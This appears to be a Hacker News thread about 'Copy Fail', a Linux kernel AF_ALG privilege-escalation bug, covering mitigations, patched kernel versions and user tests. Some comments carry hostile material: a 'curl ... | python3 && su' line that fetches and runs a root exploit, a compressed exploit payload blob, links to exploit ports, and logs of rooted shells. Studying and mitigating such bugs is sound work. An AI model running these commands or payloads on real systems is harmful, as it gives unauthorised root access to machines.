Copy Fail

As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).

The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.

If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.

I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.

It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.

https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

https://www.suse.com/security/cve/CVE-2026-31431.html

It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...

I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:

  ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8

  ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237

  ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Hope that helps.

If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:

    python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'

Similarly, when the mitigation is in place,

    modprobe algif_aead

should fail with an error.

This submission is currently the main HN submission.

As of now the submission title is simply “Copy Fail”.

Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?

Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”

That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.

LPE = local privilege escalation

Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!

Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.

I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.

So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.

https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...

The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.

For mitigation, the page currently basically just says:

> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d

But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.

So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).

I ran the exploit in rootless Podman, and predictably it doesn't escape the container.

They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine

As soon as I read this

>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root

jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.

Then I tested with local laptop with it:

```

$ uname -a

Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux

$ python3 copy_fail_exp.py

# cd /root && ls

bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap

```

It does provide the root access!

Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice

Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs?

They are probably Ubuntu 24 but don't remember.

That’s the most AI-written page ever made

For this crowd, I highly suggest checking out the technical writeup

https://xint.io/blog/copy-fail-linux-distributions

I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).

[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm

This looks like an extraordinary find at first glance.

Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.

Interestingly it fails for me because my `su` isn't world-readable:

  $ stat /bin/su
    File: /bin/su
    Size: 59552           Blocks: 118        IO Block: 59904  regular file
  Device: 0,52    Inode: 796854      Links: 1
  Access: (4711/-rws--x--x)  Uid: (    0/    root)   Gid: (    0/    root)
  Access: 2023-09-18 13:23:03.117105665 -0500
  Modify: 2021-02-13 05:15:56.000000000 -0600
  Change: 2023-09-18 13:23:03.119105665 -0500
   Birth: 2023-09-18 13:23:03.117105665 -0500

I'm not sure I have any setuid/setgid binaries that are world-readable...

What is "RHEL 14.3"? Was this site a one shot prompt. Quality.

Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431

This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.

If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?

Could this be used to root Android devices? Does Android ship with algif_aead?

Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.

Got:

    OSError: [Errno 97] Address family not supported by protocol

I guess AF_ALG is not part of the Arch Linux LTS kernel?

Edit:

Looks like on Arch you have to go out of your way to have this enabled.

    $ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
    CONFIG_CRYPTO_USER_API=m
    CONFIG_CRYPTO_USER_API_HASH=m
    CONFIG_CRYPTO_USER_API_SKCIPHER=m
    CONFIG_CRYPTO_USER_API_RNG=m
    # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
    CONFIG_CRYPTO_USER_API_AEAD=m
    # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
    $ uname -r
    6.12.63-1-lts

The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'

Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.

Looking at their source code [1] it starts with this simple line:

import os as g,zlib,socket as s

And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

Anyway, I could go on. :) Let's just stop fetishizing byte count

[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

What is the rationale behind naming CVEs and individual domains? Marketing?

Quickly dove into this.

1. Yes, it's real.

2. Current chain can write any arbitrary content to any user-readable file (into the page cache).

3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.

4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).

5. The authors say they have other chains (including ones that allow container escapes). I believe them.

6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).

I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.

holy smokes it just rooted my just installed from ISO Ubuntu server

Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions

Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......

https://github.com/bottlerocket-os/bottlerocket/security/adv...

> Any setuid-root binary readable by the user works.

Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.

I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.

For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.

I checked it. Very nice efforts made to create it

On the downside, I need to push new kernels to all my servers.

On this bright side, does this mean Magisk is coming to all unpatched Android phones?

It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems.

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)

That said, I understand why a terser script might have been prioritized.

EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.

Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.

So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.

Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.

s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?

Are kernel crypto modules even loaded by default on enterprise distros

RHEL is listing this as fix deferred for RHEL 8 and 9.

Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh

Works on all my servers. This is terrifying.

As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.

Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...

I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.

I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]."

Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.

I can't get it to work on any distro i've tried.

> Will you release the full PoC?

> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.

There is no update available for Ubuntu 24, PoC works and just tried updating.

Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?

I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r:

    $ ls -lah /run/wrappers/bin/su
    -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su

Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.

I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?

Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)

You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.

SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.

> If your kernel was built between 2017 and the patch

This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.

> block AF_ALG socket creation via seccomp regardless of patch state.

Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.

[dead]

[dead]

[flagged]

Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.

Is this fixed in any stable release kernel yet?

It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:

Password: su: Authentication token manipulation error

I'm guessing this means it's already patched?

I'm impressed that such a serious problem popped up out of nowhere.

In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.

This gives bad actors a direct route to the root. Having an easily accessible root is not funny.

Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?